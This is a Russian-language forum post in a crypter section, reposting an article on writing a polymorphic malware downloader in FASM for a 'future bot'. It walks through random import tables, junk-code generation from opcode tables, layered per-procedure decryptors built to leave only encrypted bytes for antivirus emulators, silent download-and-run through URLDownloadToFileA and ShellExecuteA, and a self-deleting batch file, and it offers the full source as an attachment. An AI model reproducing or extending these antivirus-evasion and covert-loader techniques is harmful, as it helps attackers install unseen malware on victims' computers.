На заметку Супер-полиморф и пошаговый запуск процедур

Тема в разделе "Крипторы и исследование защиты", создана пользователем X-Shar, 4 окт 2016.

↑ ↓
  1. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.811
    Симпатии:
    429
    Пол:
    Мужской
    Репа:
    +963 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    В Торе интересная статья попалась:Полиморфим лоадер / Хакерство / Runion

    Вообще речь шла про лоадер, но понравилась реализация, тут не просто полиморф, а пошаговое выполнение процедур, итак в начале статья, а потом исходник тоже можете глянуть (FASM), статья из двух частей:

    1-ЧАСТЬ (Введение):

    Что есть лоадер и на кой хрен он нужен?

    Лоадер - это обычно небольшая программка, которая скачивает из интернета другую програмку незаметно для пользователя.
    Зачем он нужен? Вам решать.

    Мы попытаемся написать недетектируемый обычным эвристиком лоадер, чтоб после некой доработки выдавать будущему боту уникальный лоадер, чтоб антивирусы нас по сигнатурам не спалили.

    Сначала определимся с размером. Думаю 2Кб должно хватить всем. Напишем стаб на FASM с заделом на будущее.
    Код:
    format PE GUI 4.0
    include 'win32ax.inc'
    section '.text' code readable writable executable
    start:
        invoke GetCommandLine
        invoke GetTickCount
        invoke GetLastError
        invoke ExitProcess, 0
        invoke Sleep, 0
        db 1024-($-start) dup (90h)
    .end start
    section '.data' data readable writeable
    mydata:    db 1024 dup (?) 
    Зачем там всякие апи? А чтоб легче было потом.

    При загрузке этого .exe в память загрузчиком системы будет следующая картина в адресах:

    00400000 - тут заговок файла
    00401000 - тут у нас секция кода (1КБ)
    00402000 - тут секция импорта
    00403000 - секция неинициализированных данных (1КБ)


    То, что надо. Возьмем от .exe заголовок (первые 512 байт) и сделаем файлом инклуда, чтоб потом програмным путем собирать наш лоадер из кусочков.

    Осталось придумать как будет выглядеть рабочий код лоадера. Мне пришла идея сделать его из трех основных блоков:

    [иммитация работы обычной программы]+[полиморфный декриптор]+[сам лоадер]


    Иммтация работы обычной программы будет вроде некоторого антиэвристика. Примерно по такой схеме:

    Рандомизируем таблицу импорта.

    Генерим псевдорабочий код:
    1. мусор
    1.2 вызов случайного апи
    2. условный переход на 2.4 je/jne
    2.1 мусор
    2.2 пустая функция (3)
    2.3 мусор
    2.4 мусор
    повторить три раза
    вызов декриптора
    выход

    3 Пустая функция
    3.1 пролог
    3.2 мусор
    3.3 эпилог

    Первым делом составим небольшой списочек апишек, которые не требуют параметров для вызова и особо не мешают работе программы, например десяток апишек:

    api1 db 0,0,'GetCommandLineA',0
    api2 db 0,0,'GetTickCount',0
    api3 db 0,0,'GetLastError',0
    api4 db 0,0,'GetVersion',0
    api5 db 0,0,'GetCurrentProcess',0
    api6 db 0,0,'GetProcessHeap',0
    api7 db 0,0,'GetCurrentProcessId',0
    api8 db 0,0,'GetEnvironmentStrings',0
    api9 db 0,0,'GetProcessHeap',0
    api10 db 0,0,'GetSystemDefaultLangID',0


    В стабе мы использовали 5 апи, значит и тут будем использовать 5. Три апишки будут выбираться случайно, плюс одна ExitProcess и одна GetProcAddress.

    Последние две нужны чтоб завершить программу и для поиска нужных апи в самом коде лоадера (а то если писать свой поиск нужных апи в памяти, то код может не влезть в килобайт).

    Если вы не знаете как устроена секция импорта и как вызываются апи в коде - прочитайте об этом в сети интернет, или посмотрите pedemo.asm из примеров к fasm'у.

    Берем найденный в сети интернет генератор случайных чисел и рандомизируем таблицу импорта, дописываем две нужные апишки и готово.

    Теперь немного о полиморфизме.


    Чтоб не генерить код руками и чтоб он каждый раз был разным как по длине так и по набору комманд - будем генерить его в автоматическом режиме.
    Для этого открываем мануал от интела и читаем:
    Код:
    Format of Postbyte(Mod R/M from Intel-Manual)
    ------------------------------------------
    MM RRR MMM
    
    MM  - Memeory addressing mode
    RRR - Register operand address
    MMM - Memoy operand address
    
    RRR    Register Names
    Filds  32bit
    000    EAX  0
    001    ECX  1
    010    EDX  2
    011    EBX  3
    100    ESP  4
    101    EBP  5
    110    ESI  6
    111    EDI  7
    Чтоб не вылетать с эксепшенами, не будем генерить команды работающие с памятью и регистром ESP (и на всякий случай EBP).

    Т.е. есть у нас опкод комманды add reg, reg = 03h 0C0h

    Берем ecx (001) и esi (110) в двоичном виде, объединяем (001110) и прибавляем к базовому опкоду (001110b=0Eh 03C0+0E=03CE = add ecx, esi)

    Вроде все понятно. Однако есть один нюанс. В свое время, когда процессоры были большие, а память была маленькой, интеловские инженеры придумали одну хитрость. Поскольку самй частоиспользуемый регистр был AX (ставший теперь EAX), то для уменьшения кода они сделали специальный уменьшенный опкод для этого регистра.

    Например для add eсx,012345678 опкодами будут 81C178563412. Логично предположить, что заменив C1 на C0 мы получим add eax,012345678. И таки да, мы его получим. А еще мы получим повышенное внимание всех эвристиков у антивирусов.

    Потому что любой существующий компилятор знает, что add eax,012345678 должно компилироваться в 0578563412. Антивирусы тоже это знают и сыпят подозрениями, если видят такой код.

    Вот опкоды для работы с EAX:


    2D sub eax, число
    05 add eax, число
    25 and eax, число
    0D or eax, число
    35 xor eax, число
    90 xchg eax, регистр
    Забавный факт: 90h = это опкод комманды NOP. Т.е. если учесть инфу выше, то получается что NOP = xchg eax, eax


    Я буду использовать следующие инструкции для генерации:
    Код:
    regw1    db 03h, 0C0h ;add reg1, reg2
    regw2    db 2Bh, 0C0h ;sub reg1, reg2
    regw3    db 33h, 0C0h ;xor reg1, reg2
    regw4    db 8Bh, 0C0h ;mov reg1, reg2
    regw5    db 87h, 0C0h ;xchg reg1, reg2
    regw6    db 0Bh, 0C0h ;or reg1, reg2
    regw7    db 23h, 0C0h ;and reg1, reg2
    regw8    db 0F7h, 0D0h ;not reg1
    regw9    db 0D1h, 0E0h ;shl reg1, 1
    regw10    db 0D1h, 0E8h ;shr reg1, 1
    regw11    db 081h, 0E8h ;sub reg1, rnd
    regw12    db 081h, 0C0h ;add reg1, rnd
    regw13    db 081h, 0F0h ;xor reg1, rnd
    regw14    db 081h, 0C8h ;or reg1, rnd
    regw15    db 081h, 0E0h ;and reg1, rnd
    regw16    db 0F7h, 0D8h ;neg reg1
    regw17    db 0D1h, 0C0h ;rol reg1, 1
    regw18    db 0D1h, 0C8h ;ror reg1, 1
    regw19    db 08Dh, 00h  ;lea reg1, [reg2]
    regd1    db 0B8h; mov reg1, rnd
    Выбираем рандомно любой опкод из списка, рандомно два (или один) регистр (кроме ESP и EBP) и генерируем инструкцию.
    Например:
    Код:
    proc make_xchgreg
        call getregs    ;получаем два регистра в edx и ecx
        or edx, edx        ;если там нет eax
        jnz @F            ;то делаем как обычно
        mov al, 90h        ;а если есть, то берем нужный опкод
        add al, сl        ;добавляем регистр
        stosb            ;записываем
        ret                ;выходим
    @@:    mov esi,regw5    ;указатель на xchg reg1, reg2
        lodsw            ;читаем 2 байта
        xor ebx, ebx    ;обнуляем ebx для работы
        mov ebx, ecx    ;ebx=ecx
        shl ebx, 3        ;сдвигаем ebx влево на три бита
        or ebx, edx        ;устанавливем три последних бита из edx
        add ah, bl        ;добавляем регистры к опкоду
        stosw            ;сохраняем
        ret                ;выходим
    endp
    Все, теперь мы можем генерить рандомный код не задумавыаясь о том, что он делает. Разбавляем код вызовами апишек. Поскольку у нас в заголовке указан адрес таблицы импорта как 00402000, то просто вызываем по проядку:
    вызов первой апи будет call [00402050] ;db 0FFh,15h,50h,20h,40h,00
    второй call [00402054] и т.д.

    В результате получается разный код после каждого запуска нашего билдера:

    upload_2016-10-4_10-2-32.

    Часть вторая, заключительная.


    Прежде чем делать декриптор, нужно сделать лоадер. Сам лоадер будет простейшим - качаем файл через апи URLDownloadToFileA из urlmon.dll и запускаем его посредством апи ShellExecuteA из shell32.dll.

    Только сначала нужно загрузить в память эти .dll и найти адреса апи. В результате у меня получилось аж три процедуры:

    prepare - ищем адрес kernel через PEB, подгружаем .dll'ки, получаем нужные адреса и сохраняем их в секции неинициализированных данных.
    loader - используем найденные адреса для скачивания и запуска
    selfremove - самоудаление

    Для поиска адресов мы добавляли в секцию импорта апи GetProcAddress, вот оно нам и пригодится.
    Самоудаление сделаем через стандартный батник:
    Код:
    :rm
    del %1
    if exist %1 goto rm
    del d.bat
    а через параметр %1 будем передавать путь и имя своего лоадера.

    Пора бы уже зашифровать эти три процедуры случайным ключом, добавить расшифровщик и генерить себе лоадеры, но тут меня посетила идея.

    Каждой процедуре по своему расшифровщику и алгоритму шифрования!

    Выглядеть это будет примерно так:

    берем адрес первой процедуры
    берем ее длину
    декриптим первым алгоритмом
    вызываем первую процедуру
    берем адрес первой процедуры
    берем ее длину+длина второй процедуры
    декриптим вторым алгоритмом
    вызываем вторую процедуру
    берем адрес первой процедуры
    берем ее длину+длина второй процедуры+третьей процедуры
    декриптим третьим алгоритмом
    вызываем третью процедуру.


    Зачем такой хитрый декрипт? Для антиэвристика. Эмулятор антивируса пройдет наш код, дождется выхода из программы и начнет смотреть память. К этому моменту обычно в памяти остается программа после всех декриптов, т.е. в практически голом виде.

    Т.е. сколько бы мы не шифровали, нам все равно нужно расшифровывать свой код, чтоб он отработал. В моем случае код будет расшифровываться кусками и зашифровывать предыдущий код. В результате при выходе из программы в памяти останутся вместо понятного кода куски шифрованных байт [​IMG]

    В первой части мы выбирали регистры для полиморфного мусора. Их как раз 6 шт, так что можно по два на декриптор каждой процедуры лоадера использовать. Сам декриптор будет прост:
    Код:
    mov reg1, addr     ; адрес начала зашифрованного лоадера
    mov reg2, len            ; количество данных для расшифровки
    decrypt:
    xor [reg1], XXh либо sub [reg1], XXh либо add [reg1], XXh ; алгоритм шифровки
    inc reg1                ; увеличиваем адрес
    dec reg2                ; уменьшаем количество
    jnz decrypt
    Прост по той причине, что у нас килобайт уже кончается. Код лоадера внезапно разжирел и с декриптором, который я планировал разбавить мусором, скорее всего не влезет в наш уютный килобайт.

    Длина этого блока декриптора + вызов процедуры = 22 байта. Всех блоков будет 22+22+22+1 байт для ret = 67 байт. Удобно будет вычислять смещени с таким неизменяемым по размеру полуполиморфным декриптором.

    Теперь генерим декрипторы, дописываем процедуры лоадера (не забывая зашифровать каждую своим алгоритмом и ключом) и собираем из всего этого исполняемый файл.
    Запускаем, получаем лоадер. Проверяем его в работе - работает.
    Всё.

    Исходник для охреневания с качества кода прилагается во вложении...:)
     

    Вложения:

    • loader.zip
      Размер файла
      4,8 КБ
      Просмотров:
      2
    • Мне нравится Мне нравится x 3

Поделиться этой страницей